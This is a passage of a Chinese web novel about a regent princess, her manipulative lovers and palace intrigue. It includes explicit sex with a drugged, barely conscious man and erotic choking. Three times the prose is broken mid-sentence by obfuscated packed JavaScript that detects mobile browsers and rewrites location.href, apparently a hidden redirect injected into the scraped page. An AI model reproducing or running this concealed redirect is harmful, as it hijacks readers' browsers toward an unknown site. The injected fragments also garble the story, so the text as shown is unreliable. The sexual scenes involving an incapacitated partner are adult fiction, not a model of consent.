像是中了魔障一般,越长风大步走到他的面前,将他一把抱起,带到床上。 柳孤城身形颀长,虽然偏瘦但也有着精致的肌肉线条,却没想过抱上手时却是却是出奇的轻。 出奇的脆弱。 全身上下滚烫得可怕,碰一下便连连颤抖,躁动不安的上下蠕动。越长风坐在床边,伸手抚上湿透的衣领,想要把他身上被水浸透的衣衫换下,却被他反手攥住。 “不要……” “不脱下来,会生病的。”越长风低声哄他:“乖。” 柳孤城似乎想把她的手推开,浑身无力的动作却仿佛是在欲拒还迎。他的呼吸越发沉重,几经艰辛才吐出几个字:“假、仁、假、义……” “走、开……” 越长风低头注视着他没有聚焦的双目,沉声问:“你被下药了?” 柳孤城会这样说,自是认为下药是她的意思。可是她不仅没有这个意思,也知道常茵不会自作主张。常茵不过是把人救了上来,然后给他打了一桶泡浸的水。 水…… 越长风忽然想明白了为什么柳家家主要拉着他给自己敬酒,为什么他要让柳家那两个草包追出去,为什么柳孤城会无故落水。 柳孤城的酒里被下了药,浸在水里会让药效挥发出来,难以自控只能任人鱼肉。他饮的是柳家家主亲手斟的酒,那两个草包听的也是家主的命令,人是怎么落水的不问而知。 她凑近男子耳边,带着戏谑的轻呻:“本宫可没有柳大人那么卑劣,尽用这些下作手段。” 第一次是敲晕,第二次是下药,柳家到底有多么想要自己收下这人? 柳孤城身驱一颤,也不知是听明白了没有。越长风没有强迫的兴趣,正准备走出殿外让守在门口的常茵去传太医解毒。 抽手的时候,尾指却被紧紧扣住。 越长风眉头一蹙,声音带了三分不耐:“你到底想怎么样?”天知道她是有多么强的自制力,才会在这个时候忍住欲望转身离开。 “不、要、走……”微弱的声音自身后传来,尾指被攥得更紧了,还有向上攀爬的趋势。 越长风僵住半晌,天人交战一阵,终于顺从了自己的欲望,转身坐回床上。 他都这样了,自己还在忍耐什么? 一双玉臂像藤蔓一样缠上她的后背,男子眼尾泛红,鼻尖挂着几滴汗珠,完美无瑕的高岭之花此刻显得如此的破碎。打碎他,亵渎他,占有他,强迫他展露傲骨下的脆弱,却又不让他得到庇护,让他的喜怒哀乐全系于她的一念之间——这些都是她曾经最阴暗的幻想,而当时幻想的对象是她的柳哥哥。 如果那时把幻想付诸实行,柳时言也大概会是这个样子的吧? 越长风伸手抬起面前“柳郎”的下巴,听见自己的声音因为情动而变得沙哑:“是不要,还是不要走?” 柳孤城被迫与她对视,双眸深处恍若一片空洞的深渊,深渊深处却燃起了熊熊烈火。越长风有一下的出神,那是她初识的柳时言。是那个没有被名声所累、被权力腐化的柳郎。 虽然这熊熊烈火,不过是在药效之下被放大的人类本能,情欲而已。 越长风最后问他一次:“你知道自己想要什么吗?” 柳孤城意识涣散,神智被欲望左右,脑海里只剩一个念头。 “要你帮我……” 越长风低头,一口咬住了他滚动的喉结。 一声低吟溢出,柳孤城难耐的仰着脖子,喉结无助地暴露在侵略者的唇齿之下。 越长风一松口,喉结上已经留下了两排深深的牙印。挑着下巴的手指下移,按压摩挲两排牙印,越长风满意的笑笑:“这是还你上次的那一口。” 脆弱的脖颈一折就断,柳孤城却难耐的仰着脖子,主动把主宰生死的脆弱部位送上。不知是毒发所致,还是喉结是他的敏感之处,她每抚摸一下,他的全身上下便是一颤。 在他清醒的时候,无论她怎样狎玩,也没有从那张脸上看到想要的变化;但是,如果他并不清醒呢? 越长风心念一动,掐住了他的脖子。 力气逐渐加重,她感觉到手下的脉搏加快,气息渐轻,鲜活的生命在自己的掌控之下一点一点的流逝。她想起了柳时言给她的最后一个眼神:不甘、不忿、失控、无助,对于生命还没有真正展开便已经要结束的无奈。 柳孤城眼中却是点点星火,燃着兴奋的光芒。仿佛……毁灭于他只会带来终极的快感,包括自身的毁灭。 越长风松开了手。双膝强势地顶开他的 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男子不知是没听清楚还是没有反应过来,嘤咛一声却没有动作。越长风用另一只手掐住他的下颌,逼他微微张嘴,两指钻进双唇之间。 “乖。” “不然难受的是你自己。” 柳孤城下意识地蠕动舌尖,杂乱无章地在两指之间游走。手指从指跟到指尖彻底被唾液濡湿,末了还有水珠滴落。 指尖探进衣里,像好奇的旅人般游走探索,这个旅人却没有攀登鸿山峻岭,反去探索山涧的禁地。 “不是……不是这里。”柳孤城再次挣扎,没有剩下什么力气的他却不过是在微微扭动而已。 “上次在公主府里,你不就已经知道了吗?”越长风手下动作不停,随口哄道:“你大哥也抗拒过,后来还不是食髓知味。” “你要本宫帮你,就得按着本宫的规矩来。”她目光冷冽,情潮压抑,轻蔑的睥睨着他。 柳孤城的身子彻底僵住,挣扎的动作骤止。越长风实在太过清楚他的死穴,并且毫不留情地往他的死穴上一刀一刀的扎——他要得到她的一分垂怜,唯有扮演好柳大郎这个角色。 缠在越长风背上的双臂越收越紧,像是怕她会遗弃自己,同时也把自己送到她的指上。 越长风似是被他的姿态取悦到,指上动作越发温柔,虽是不容抗拒的亵玩,却也不无安抚之意。 柳孤城一脸羞涩的把头埋在她的怀里,越长风只看得见他红得快要滴出血来的耳根。她用另一只手揉了揉他的脑袋,然后不轻不重地拍了两下。灵活的手指沿路而下,顺着方才给他别到耳后的一头墨发,从头顶一直沿着后脑勺往脖子里一遍一遍地抚摸着,不时地抓抓他的头发,把他滚烫的头往怀里按着。 这一按,她也就看不见他微微翘起的唇角,也看不见那双□□迷离的眼睛里,那一丝的清明。 她也不会知道,酒里的药本来便是他自己亲手所下,就连带他上前敬酒的“父亲”也不知道。 要不是那两个所谓兄长受了家主之命非要把他逮回殿里和长公主好好相处,本来把他“推”下水的,便应该是堂堂沈相,而不是那两个草包。 不过,那已经不重要了。他柳孤城想要的,不管走了多远的路,不管赌上了自己的多少,人格、尊严、甚至人生,他都总会得到。而这一次,他所求的,也不过是多了那么一点点而已。 8. 第 8 章 天边泛起了鱼肚白,越长风悠悠醒转,才发现自己竟在昭庆宫里睡了一整夜。 ……自从六年前的玄武门宫变以来,她从未在这座宫殿里安稳的睡过一觉。 越长风难以置信的眨了眨眼,掀起身上锦被,看见了环在自己腰腹之间的男性手臂。手臂异常的炙热,越长风轻轻甩开手臂,往上探去,触到了手臂主人滚烫的脸颊。 难道自己竟是被他揽住睡了一宿。 明明已经弄出了不少动静,柳孤城却依旧浑然未醒,双眼紧闭,嘴里似乎在呢喃什么。越长风伸手探上他的额头,上手一阵热辣滚烫。 昨天柳孤城坚持不肯脱下的那身湿衣还紧紧贴在身上,从浴桶里沾到的水早该干涸,却又被汗水秽物重新浸透。 越长风板过他侧着的脸,引得他在半梦半醒间的一声闷哼,换来的是她愉悦的轻笑:“说了不脱难受的是你自己,你看这可不是。” 柳孤城身上药效已退,现在却是周身酸痛,加上发了高热,感觉并不比昨晚好了多少。脸上的触感让他想起了同一只手在他身上肆无忌惮的探索和占有,耳根顿时一红,羞愧的想要别过头去,下巴却被她紧紧抓住。 越长风坐起身来,手指依旧挑着男子的下巴,让他不得不抬头仰视自己。女郎微挑的眼尾笑意盈盈,桃花眼里一片深情款款,几乎便要让人以为她是一个多情的人。 ——也几乎便要让他陷入“迷恋”的错觉。 见他醒了,她把他的头拉向自己,姆指轻轻摩挲他泛红的眼尾,又用指背轻刮:“柳郎让本宫过了十分愉快的一晚,想要怎么样的奖赏呢?” 柳孤城垂眸,不着痕迹地避开她的眼神。 “柳某身不由己,不敢有所企求。” “身不由己……吗?”越长风轻慢的笑,“在本宫身上留下这些,可也是身不由己?” 她毫不在意地敞开自己身上衣衫,柳孤城正低着头,斑驳青紫便在他的眼前展露无遗。 那些都是他的杰作,他把自己的羞愤和疼痛通通都发泄在她的身上。又或者他只是像野狼一样,非要在自己的领地上留下印记。 “殿下……别说了。”柳孤城的声音微微颤抖,仿佛出于羞耻,垂下的眼帘却恰好遮住眸中近乎变态的兴奋。 越长风从善如流,半晌没有说话,只是像顺毛一般有一下没一下的梳着他的发尾。 忽然,冷冷的声音却如醍醐灌顶,一下让他全身上下血液凝结:“那么,你处心积虑的接近本宫,可又是身不由己?” 先后三次相遇,第一次是巧合,第二次是被迫,第三次他还是自愿跟着家主入宫赴宴,自愿给她敬酒。如果这还能是不由自主的偶然,也未免太过把她当笑话看了。 柳孤城羽睫轻颤,过了一会,缓缓抬了起来。 下位者抬头注视着上位者,漆黑的瞳子里却没有丝毫畏缩或惊惶,只有深潭一样的平静。 “大哥自出生起便万众瞩目,而我……就连殿下,也不知道我的存在。” “大哥死后,天下人才知道柳家还有一个四郎,但柳四郎也不过是柳大郎的代替品。” “所以……我想知道,大哥在生时过的是怎样的人生,曾经拥有过什么东西。” 越长风出奇的好耐性,嘴角含笑,一副认真倾听的样子。 她就静静看他演戏,末了指背轻扫男子锁骨上的疤痕,居高临下的注视着他:“包括深爱他的妻子?” 柳孤城没有回答,幽寂的瞳眸回视着她,深处似乎有星火闪烁。 他的那些鬼话,越长风可是一个字都不信。只是,就连她自己,也何尝不是满口谎言。 深爱柳时言的妻子,亲手杀死了她的夫君。 眼前男子以为自己是她所深爱亡夫的替代品,却不知道自己无论装得有多像,也换不来一点她对亡夫的“深爱”。 越长风挪开抚摸着他的手,为他揿上锦被,干净利落地站起身来。 “想要你大哥拥有过的……”越长风话音一顿,转身往殿外走去,背对着柳孤城的脸上扯起轻蔑一笑。 “爱。” “你付出的可还不够。” 殿外本应由常茵守着的位置站了一抹玄色锦衣的高大身影。 待越长风走近面前,陆行舟似乎知道她想问些什么,先她一步说道:“常大人有急事得回常府一趟,卑职来接替她的工作。” 越长风斜眼睨他,语气微嘲:“玄武卫什么时候闲下来了,给司使大人去多管闲事。” 陆行舟对她的冷嘲热讽早已习惯,从怀中掏出块帕子给她清理起胸前狼籍来。他的动作一丝不苟,目光专注而不带一丝喜怒情\欲,挺得毕直的腰背在他弓下\身子时微微弯曲。 清理完毕,陆行舟为她掩上衣襟,又蹲在地上理顺她胡乱披上衣服时无暇顾及的凌乱下摆。不知从什么时候开始两人之间已经形成了一种默契,陆行舟从不过问越长风见过谁、宠幸谁,却总是在她吃饱喝足之后为她细细清理,唯恐别的人在她身上留下一丝一毫的印记。 越长风也一动不动的任他动作。待得衣襟整齐,一尘不染的像全新一般,陆行舟才站直身子,目无表情的道:“伺候主上,不是闲事。” 越长风冷哼一声:“投机取巧。”说罢便越过他径直往宫外停着的銮驾走去。 陆行舟眸光一黯,没有回应,只是亦步亦趋的跟在她的半步之后。他很清楚,越长风的这一句“投机取巧”,甚至她这些年来的忽冷忽热,都不过是因为她心里横着的一根刺。 而那根刺是:他是一个背主求荣的叛徒。 至少在越长风的眼中是这样。 六年前的除夕,太子发动宫变,带着一万京城禁军从龙首坡上的玄武门攻入皇城。朝廷的军队大多戍守边疆,京城防卫全赖禁军,而禁军中人和地方上的驻军不同,多是京中世家的勋贵子弟,这些人早就因为家族的关系而投到太子旗下。 地方军队就算回京勤王也要时间,本来太子率领禁军该是长驱直入,在元旦天光之前便可占领皇城、控制皇帝,然后在正旦大朝会上宣布皇帝退位,他则顺理成章的受禅登基。 太子打的一副好算盘,梦想著成为造王者分一杯羹的世家们也打的一副好算盘,可是就在这时,禁军副统领陆行舟反水了。 应该说是,禁军副统领陆行舟带着禁军中的精锐,反水了。 这支精锐人数不多,却都是从底层过五关斩六将最终被提拔上来的人,和那些金尊玉贵的勋贵子弟根本不能相提并论。在太子率领禁军大队意图从玄武门攻入皇宫的时候,埋伏在玄武门下的精锐倾巢而出,硬生生把战局拖了一天一夜,直拖到镇北军的裴小将军带兵勤王,彻底扭转战局。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029638|162278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 尘埃落定之后,越长风踩着没有气息的太子头颅,歪头一副好奇的问:“太子登基,等着你们的明明是一条青云路,为何不顺着它走?” 陆行舟抬头看了她一眼,明明刚刚经历了一场腥风血雨,一天一夜之间死了三位兄长、一位夫君,脸色却依旧一片云淡风轻,清晨的初阳打在身上,甚至有着一种让人移不开眼的自信和明媚。 陆行舟与那双笑意盈盈的桃花眼对视只有一瞬,便重新低下头去,单膝跪地为她清理鞋上沾到那些属于长兄的血迹。 他一边细细抹着,一边平静的答:“因为废太子必输无疑。” 太子刚死,镇北军正在收拾残局,玄武门事变还没有定性,陆行舟却已经称之为废太子——越长风漫不经心的笑笑,没有表露出过多的想法:“继续。” 她也没有说清楚是继续清洁还是继续说下去,陆行舟依旧卑微的跪在地上,一丝不苟的抚平裙脚上的皱褶。 他低垂着头,让人看不清脸上表情,声音却似乎带着一丝愉悦:“就算废太子成功登基为帝,他也已经犯下杀弟作乱之罪,裴小将军也会回京勤王,废太子师出无名,也根本无力与镇北军对抗。” “这些,公主都比行舟清楚。”木头般的脸上漾起了几不可见的浅淡笑意:“因为,公主殿下,本来就是布局之人。” “所以,行舟想要賭一賭。賭青云路只有一条,就在公主脚下。” 越长风任由他在自己脚上动作,听他说罢,嗤的一声轻笑,洁净得一尘不染的鞋尖挑起男子下颌,强迫他抬头仰视自己。 她不知道自己想从跟前这个用卑微臣服姿势匍匐在地的人眼中看见什么。 谄谀?敬畏?又或者是,投机者的精明和志得意满? 陆行舟的脸上却只有一片肃然,喉结微乎其微的滚动了一下,深邃的视线与她对视。 这样的眼神越长风稍嫌沉重,她的脚尖微抬,让他的脖子仰成让人难受的弧度,恶劣笑问:“你在本宫身上押注,如今赌赢了,想要什么奖赏? ” 陆行舟眸色暗沉,就算脖子扭得难受,目光依旧默默的锁在越长风的脸上,眼底犹如深潭,强行把隐忍不住的那抹腥红压下。 他心底最想要的东西,永远也不能让她知道。就如他永远也不能让她知道,玄武门下的埋伏并不是自己倒戈,而是由始至终,他从来没有忠于废太子。 成为禁军,一步一步爬到副统领的位置,甚至玄武门前的布局,都不过是为了她。 但是她不能知道,也不需要知道。越长风不需要知道他多年来躲在暗处的窥视,以及和暗处一样见不得光的阴暗心思。她只需要知道,他是一个有着物欲权欲那些下等欲望的下等人——她只需要抛出物质和权力的诱饵,便能毫无压力的驾驭他这样一个肤浅的投机者。 他会成为她最忠诚的狗,也不过是她驭下有方,顺理成章的结果而已。她既疑心于曾经背叛前主一次的他,又能用萝卜跟棒槌牢牢把他掌控在手心之中,这些拉拉扯扯的感觉才能让她的控制欲得到最大的满足。 “卑职想要人人敬畏,人人惧怕,拥有让人不得不正视而又不敢去直视的权力。”陆行舟嗓音低沉,有些沙哑;眸中闪铄着恰如其分的野望。 “卑职不想再过仰人鼻息的生活。” “唯独,永远仰望忠诚于主上一人。” 9. 第 9 章 越长风走到昭庆宫外等候着的銮驾之前,脚步嘎然而止。 “让左仆射进宫,把他的儿子领回去。” 陆行舟沉默了一瞬,声音平淡的应道:“是。” 越长风想了想,又加了一句:“他正发着高热,派一个太医随他回柳府看看吧。” 陆行舟这次沉默得更久,直到越长风还以为他不会回话了,他才敷衍似的轻轻“嗯”了一声。 “怎么?”越长风听出他的不愿,饶有兴味的笑笑:“司使大人可有意见?” 陆行舟低头不语,伸手让她搭着走上车驾,毕恭毕敬没有跨越雷池一步。 越长风看也不看他一眼,半晌才听车上传来一声:“上来。” 奢靡张扬的九蟒銮驾缓缓驶在路上,车外开始下起雪来,车内覆手为雨的摄政长公主裹在厚厚的大氅之中,半躺在软榻上,手里紧紧抱着熏热的袖炉。 越长风天生身子寒凉,在六年前的玄武门之变后更是落下病根,昨夜虽是她把柳孤城折腾得发了高热,被男子抓得青一块紫一块的身体却也并不好受。 “主上。”低沉的嗓音从宽阔车厢的另一边响起。 越长风眼眸半阖,头也不抬:“过来。” 陆行舟也不磨蹭,干脆走到软榻旁边半跪下去,目光与半躺着的女郎齐平。 男人天生体温炙热,滚烫的气息随着粗重的呼吸喷洒在垂落的手上。越长风懒懒睁眼,刚好看见锦衣衣领上露出的一截脖子。 陆行舟的后颈弧度甚是好看。 越长风随手放下手中袖炉,抚上了那截后颈。触手温热,还比手炉多出了属于活人的脉搏和气息。 脖颈是人身上下最脆弱的命门,对于长年在刀尖行走的习武之人来说更是绝不可能让人触到。男人的身体僵了一下,随即却膝行上前,微微前倾,恰恰把自己的脖颈放到最方便纤手碰触的位置,屈着的大腿又刚刚好放在空悬着的脚尖之下。 由始至终,男人一言不发,也不需要她去发号施令,每一个动作却都是恰如其分。 这个手炉和脚凳都极合她的心意,越长风的身体也明显放松下来,重新合上了眼睛。 车上再次陷入一片沉寂。陆行舟本来话就不多,越长风平时对着沈约裴玄都是谎话连篇,对着他的时候却连说也不说,仿佛他不过就是一件趁手好用却又不愿与之深交的工具而已。 毕竟,谁会和一件工具交心? 陆行舟看着越长风阖上眼睛不理自己,一向冷穆的目光里多了一丝黯然。同样是坐在车里,他见过主上和沈相衣衫不整、紧紧相拥的样子,自己却不过如是。 她的首选,永远也不会是自己。 陆行舟眼中掠过一抹森凉。 越长风的声音却忽地响起:“关于柳孤城。” 陆行舟一下子清醒过来。 “你是不是查到了什么,说吧。” 原来主上让他上来,不是兴之所至,只是因为他在提起柳孤城时的欲言又止罢了。陆行舟瞬间变回了不解风情的木头,声音沉稳而淡漠,仿佛没有一丝个人的想法:“是。” “南境那边,从来没有柳孤城这个人。” “柳家那边在主上开始监国时才认回这个儿子,用意昭然若揭。” “而且,京城柳家直系的人不像表面那样看得起这位天降的四郎,背地里叫他……小贱人。” 而且,就连柳大郎的替身暗卫也可以对主子的弟弟如此蔑视,显然是受到柳时言的影响和默许。这也代表柳时言不但知道柳孤城的存在而多年来一直三缄其口,甚至对着结发妻子也没有走漏一丝风声。 只是柳十三这个消息来源,陆行舟自然不能让越长风知道。就像柳十三这个和柳时言长相过于相似的人,陆行舟也绝不可能让越长风看见。 越长风却不知道他的那些小心思,只在听见“小贱人”三个字时秀眉一挑,眸光一冷:“果然是满口谎言的小骗子。” 兄友弟恭是假,家族器重是假,肖似柳时言的行事作风、不肯折腰的孤高傲骨又有多少是他刻意为之?越长风想到这里,却不仅没有气馁,反而心底似有什么悄悄沸腾。 大概是对于完全控制一个人的征服欲,或者是她天生遇强越强的挑战欲。又或者只是想要知道,这小骗子和已故的大哥距离有多远,他又有多努力去获得曾经大哥所拥有的一切。 陆行舟听着她的轻佻之语,重重咳了一声。直到越长风玩味的眼神投向自己,他才若无其事的继续说:“柳孤城在柳家墓园出现,本就不是巧合。” 越长风的没有表现出一点意外,“呵”的一声轻笑,脸上却没有半分笑意。 她像抚摸毛茸茸的宠物那样摩挲男人的后颈,冷凝的目光定定看着垂下的车帘。 “柳孤城的目的,是要确认沈约就在车上。” “因为刺杀的目标,从来就不是本宫,而是沈相。” 摄政长公主、朝廷真正的主事人大举出行,刺客就算武功再高,成功刺杀的机会率本来就微乎其微。可是,如果行刺的对象不是越长风,而是一个同在车上、并且会出于本能保护她的人—— 如果行刺的目的,并不是将他置于死地,而是让他重伤卧床,无法在年后如期上值。 当日如果没有陆行舟自作主张的出现,如果她没有让闯进车厢的刺客一簪毙命的本事,不懂武艺的老男人再中一剑,就算不死也大概没有一年半载都下不了床。 而沈约下不了床,便做不了科举会试的主考官。 “论资排辈,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029639|162278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以替代沈相主持科举的只有三个人:门下侍中、尚书左仆射、尚书右仆射。”越长风嗤的一笑。 “偏偏刺杀是在柳家墓园回京的路上,本宫那好公公要不是蠢得把自己放到风口浪尖,便是被人卖了,还要给人家数钱。” 陆行舟听见“公公”两字,眸中闪过一抹阴寒的厉色。 “他不配。” 暗哑的嗓音虽低,抚着脖颈的手却倏地停了下来。 “嗯?”女郎的尾音拖得长长的,陆行舟就算不去直视也不难想像她此刻脸上的荡漾笑意。但他同样也不难想像这皮笑肉不笑的笑意之下是怎样的无底深渊。 走错一步,便会万劫不复。 “卑职说,左仆射不配。”做她的公公。 陆行舟话音平淡,仿佛说的只是简单不过的事实。 “柳时言也不配。”做她的夫君。 按着后颈的手挪到前方,纤纤玉指挑起棱角分明的下巴。 越长风轻慢的笑:“柳氏配不上本宫,那谁配?” “陆司使?” 陆行舟分不清她是在问他谁配,还是在问他自己配不配。 可是……他自然是不配的。主上藐蔑的态度,显然也不过是在深渊的边缘挑逗他、玩弄他,引他自己跃下深渊。 “卑职……自然不配。”他低眉顺眼,惜字如金。 哪怕只要展现出一点私心,走近那条由她划下的界线哪怕一点,越长风也会毫不犹豫地把他踹下深渊。 越长风像逗弄宠物般挠挠他的下巴,然后一下子收回了手。 薄唇间溢出一声叹息,一直皮笑肉不笑的人直到这声叹息才有几分真挚。 “你们都说柳时言高攀了本宫。” “可是,其实当年是本宫,折了柳郎的高枝。” 就连她自己也几乎忘记了,在柳时言变成最后那副样子之前,曾经是怎样光风霁月的一代名士。 连皇帝也不得不忌惮三分的柳家嫡长、下代家主,凭自己的才情闯出了一个惊才绝艳的名堂,世间无有可与比肩之人。 而昭阳公主越长风,不过是投胎投到了越氏天家,才得了一个公主的名号。 没有沈约为她在国子学求得一个席位,她本来甚至连课也上不了,更遑论出入朝廷、接触政事。可直到她崭露头角,得到父皇的赏识和怜爱,在父皇眼中她到底也不过是平衡各方势力、保护天家利益的贴心工具而已。 八年前,越长风在紫宸殿的高高台阶下长跪不起,一心一意的求父皇赐婚予自己和柳哥哥。 皇帝有一下没一下的搭着龙椅上的把手,一脸复杂的注视着她,过了不知多久,才长长的叹了一口气。 “长风啊。” “他不是你能驾驭得了的。” 10. 第 10 章 承元二十年,昭阳公主越长风及笄,获赐崇仁坊里最大的宅院作为公主府,以及南境三十郡中最为富饶的三郡作为食邑。及笄礼后,皇帝便依照祖制,下旨为自己的长女招婿。 越长风在国子学里成绩优异,早两年便已开始出入紫宸殿,在父皇处理政事时打些下手的工作,一边在旁学习。许是身为女子对皇权没有威胁,承元帝对她没有多少提防,反而默许她接触朝政,也默许她和朝臣亲近。 所以在正式下旨为公主招驸马后,承元帝在她为自己草拟诏令时,轻轻巧巧的、状似随口一问:“朝中青年才俊,昭阳可有看得上眼的人?” 越长风手下动作一顿。 承元帝鼓励的笑笑:“你是朕的女儿,越氏最尊贵的公主,喜欢谁便尽管和朕说。” 咣当一声,手中的笔落在纸上,染出了一大片墨迹。 越长风缓缓抬首,望向一脸期待的父亲,一双无辜的的大眼睛一眨不眨的。 嘴唇一抿,带着撒娇的语气说道:“可是若女儿嫁人了,是不是就不能出入宫禁。”公主成亲是为下降,嫁入民间便是进了别人家门,和永远都是越氏子孙的皇子终归不同,可以拥有的权力也是终归不同。 承元帝哑然失笑:“朕的昭阳和寻常妇人又怎会一样,你先是朕的女儿、我朝的公主,才是驸马的妻子、别人家的媳妇。” “紫宸殿的门,永远为你而开。” 越长风嘴角扬起,却很快便压了下去,扁了扁嘴:“女儿怕驸马和婆家不喜。” 承元帝从御座站起,一路走到她的身前,不重不轻的拍了拍她的后背。 “驸马都尉是五品虚衔,和朕给你的手中实权根本无法相比。” 依照祖制,尚了公主的驸马无论原来职位,一概加封从五品驸马都尉,从此成为皇室的门面、天家对外的吉祥物,却也无法在朝廷的体系里继续往上,仕途可谓就此断绝。只能讨好取悦身为公主的娘子,与公主府命运共生,借她之名获得一点权势地位。 承元帝知她想明白了这一点,再下一剂猛药:“昭阳如果连一个驸马也驾驭不了,又怎能辅助朕驾驭天下臣民?” 越长风抬首看着父亲,男人嘴里说得严厉,脸上却是真挚的慈爱和关怀。 父皇对她,的确有爱。可这就是天家的爱——掌控在手心的爱。父皇爱她,给她权柄,更要确保她能为自己所用、为朝廷所用。而她去选择一个自己喜欢的驸马,便是要用手中权柄掌控着他,让他只能忠于自己,为自己和越氏皇室所用。 这也是在她及笄之后,父皇亲自给她上的第一课。 越长风乖顺的点头,良久没有出声。她似乎想了很久,才犹豫不决似的轻声说道:“文武百官之中,没有女儿想要的驸马。” 不是没有一点看得上眼的人。是没有想要的驸马而已。 “那文武百官的家里呢?”见她迟疑,承元帝起了兴趣,笑着追问:“这些年来你母后主持的诸多宫宴,可有让你结识到如意郎君?” 她的母后……从前总想为她牵线,觅得如意郎君;自从她十二岁时幼弟出生,却渐渐变了味道。薛常柳程四大世家靠拢太子,母后便给她和那些被四大世家看不起的武将子弟制造机会,为的也不过是拉拢手握兵权的武将世家,在势力庞大的太子面前给弟弟添加一些底气罢了。 越长风淡淡一笑,笑里却没有多少笑意。她默默看着父亲,摇了摇头。 “裴家那小子,你怎么看?”承元帝若有所思。 “朕记得,你从小到大和他都很是亲近。” 脑海里出现了高大壮硕的一抹身影。 裴家世代为将,裴家家主是十万镇北军的统帅,长子是老将军座下骠骑将军,甫一成亲便携家带子住在北疆,和父亲一同守卫边境。 在儿子五岁时,这位骠骑将军却死在了北疆的战场上。承元帝为了安抚裴老将军和镇北军上下,为裴氏遗孀加封诰命,把小孩子接进宫里和皇子公主一同养着,直到十四岁时才回到边关,像曾经的父亲一样投在祖父麾下。 越长风记得裴玄初初回京时的样子,小时候的她身段颇高,小裴玄却是身形偏小,穿着曳地的素白孝服,妥妥的一个小哭包。 五岁的越长风哪里经历过什么生离死别,只懂拍着他的头顶笨拙的哄人,小裴玄却哭得更厉害了,哭得蓬松的长发也散落肩头,可怜兮兮的像极了一只淋着大雨无家可归的小狗狗。 九年后小狗狗长成了大狗狗,高大壮硕的身影足以把少女笼罩,却依旧低垂着头,把自己一头蓬松长毛送到她触手可及的位置,只盼她像从前一样随手一捋。 越长风在他微垂的眼帘下,看到了狗狗眼睛里燃烧着的点点星火。 那是对于人生、前途和万千世界里那些无限可能的渴望。 悬在头顶上的手终是没有按下去,而是重新抬起了大狗狗的头。 “我也想去看看京城外的世界,也想用自己的双手去争取自己应得的一切。”她对着他灿然一笑。 “权力,功业,青史留名……自由。” “可惜我大概不会有这个机会。” “裴玄,代我去闯闯吧。” 往忆嘎然而止。紫宸殿里,越长风摇了摇头,望向承元帝的目光异常坚毅:“女儿想要的人,不是他。” “我也已经有了喜欢的人。” 承元帝隐隐猜到她要说的是谁,没有立即给她继续说下去的机会,而是转身走上台阶,重新坐在高高的龙椅上。眉头紧皱,目光冰冷。 越长风跪在阶下,腰背挺直,不卑不亢。 她微微一笑,声音平静,仿佛说的是再理所当然不过的事:“柳家大郎惊才绝艳,世无其二,我早已认定非君不嫁。” 一旁的著作郎无声无息地在起居注上写下了这一句后来在民间广泛流传的“佳话”。 “非君不嫁。”承元帝重复了她最后的那四个字,闷闷一哼。 “你可知道,四大世家之一的下任家主,就算是无官无品,也比朝中任何一位官员都难以驾驭。” 越长风歪歪头,一副无辜的样子看着脸色凝重的父亲,并不明白他到底在担忧什么。 “可是我爱他呀。”她笑得一脸天真:“柳哥哥也爱我,这样还不够去驾驭他么?” 承元帝有一下没一下的搭着龙椅上的把手,一脸复杂的注视着她,过了不知多久,才长长的叹了一口气。 “长风啊。”他第一次唤了她的名字,语气也不是高高在上的帝王,而是语重心长的父亲。 “他不是你能驾驭得了的。” 越长风固执的跪在地上,大有父皇不给她和柳哥哥赐婚便长跪不起的姿态。 “父亲难道就不能信我一次?” 殿中一片死寂。一旁侍候的宫女太监连大气也不敢喘,就连执着笔的著作郎也屏息静气,努力把自己的存在感降到最低。令人窒息的死寂之中,只剩承元帝搭着把手的声音。 不知过了多久,才听承元帝重重呼了一口气。 “你要执迷不悟,那好。”帝王的身子似乎在龙椅上稍稍滑落,撑着椅柄的双手青筋凸起,仿佛要忍得有多辛苦才不至滑倒在地。 有如鹰隼的双目死死盯着跪在阶下的女儿,他沉下声音,给出了最后通牒。 “你还是最尊贵的昭阳公主,朕会给你十里红妆出嫁,但从此以后你不能再出入宫禁,也不能再接触朝廷的事,只能做公主府中一名后宅妇人。” “自此你的成败,与朕无关。” 十六岁的越长风并不明白父皇在盛怒的表象之下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029640|162278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那显而易见的颓然从何而来。后来,她明白了,就在手中金钗一下刺在柳时言脆弱的脖颈上时。 她明白了,不是她驾驭不了柳时言,而是越氏天家根本就驾驭不了柳家背后那股足以和朝廷抗衡的隐藏势力。 她把他从高枝折下,断了他的青云路,就连可以给他利用的一点权力也被收回。柳时言为了得到他想要的,只能走上另一条路。 而人与人之间所谓的爱,在那些人可以给他的东西面前,是那样的一文不值。 ----- 主考官沈约最终没有重伤卧床,礼部在上元节后便密锣紧鼓的准备会试。 